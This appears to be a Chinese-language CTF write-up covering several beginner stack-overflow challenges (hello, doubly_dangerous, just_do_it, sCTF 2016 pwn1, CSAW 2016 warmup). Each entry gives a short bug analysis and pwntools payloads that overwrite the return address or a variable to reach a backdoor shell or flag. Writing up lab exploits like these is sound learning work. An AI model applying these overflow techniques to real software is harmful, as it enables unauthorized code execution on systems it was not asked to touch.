0x01_simple_stack_overflow
0x01
1. hello
i386架构,有nx保护,buf距离ebp为0x12,并且存在后门函数getShell,所以构造如下payload:
get_shell_address = elf.symbols['getShell'] payload = "" payload += "A" * 0x12 payload += "B" * 4 payload += pack(get_shell_address) r.sendline(payload) sleep(1) r.sendline('echo "Get Shell?"') r.readuntil("Get Shell?") log.success("You Got the shell....") r.interactive() 2、doubly_dangerous
i386、开启nx,堆栈地址随机。按说有两种做法,A:直接劫持eip。B:覆盖v5为11.28125 覆盖为11.28125的payload payload = "" payload += "A" * 0x40 payload += "\x00\x80\x34\x41" # 11.28125 # payload += pack(0x41348000) # 11.28125 r.sendline(payload) 但溢出eip的方法失败了,看汇编可以看到在retn之前,有这么一串东西:
在函数的开始,还有这些:
但程序并没有一个能泄漏esp的洞,并且开启了relro,所以...这条路几乎不通。
3、just_do_it
分析程序后,可以看到,对s的输入是会覆盖到v6的,而flag放到了bss段的flag中,这个地址是可以直接查到的。构造payload: flag_addr = 0x0804A080 payload = "" payload += "A" * (0x20 - 0xc) payload += pack(flag_addr) r.sendline(payload) 就可以直接拿到flag。 04_sCTF-2016-q1_pwn1
在strcpy的时候没有长度检测,有溢出可能。在fgets的时候,只读入0x20个字符,但栈有0x3C,,,本不能实现溢出,但,后面它做了一个替换,将I换成了you,所以,可以构造如下payload: get_flag_addr = elf.symbols['get_flag'] payload = "" payload += "I" * (0x3c/3) payload += "A" * (0x3c - 3 * len(payload)) payload += "_EBP" payload += pack(get_flag_addr) r.sendline(payload) 拿到flag 05_csaw_ctf_2016_quals_warmup
读取到后门地址后,直接溢出eip就可以: r.readuntil("WOW:") backdoor = int(r.readline(), 16) log.success("backdoor: {0}".format(hex(backdoor))) payload = "" payload += "A" * 0x40 payload += pack(0) payload += pack(backdoor) r.readuntil(">") r.sendline(payload)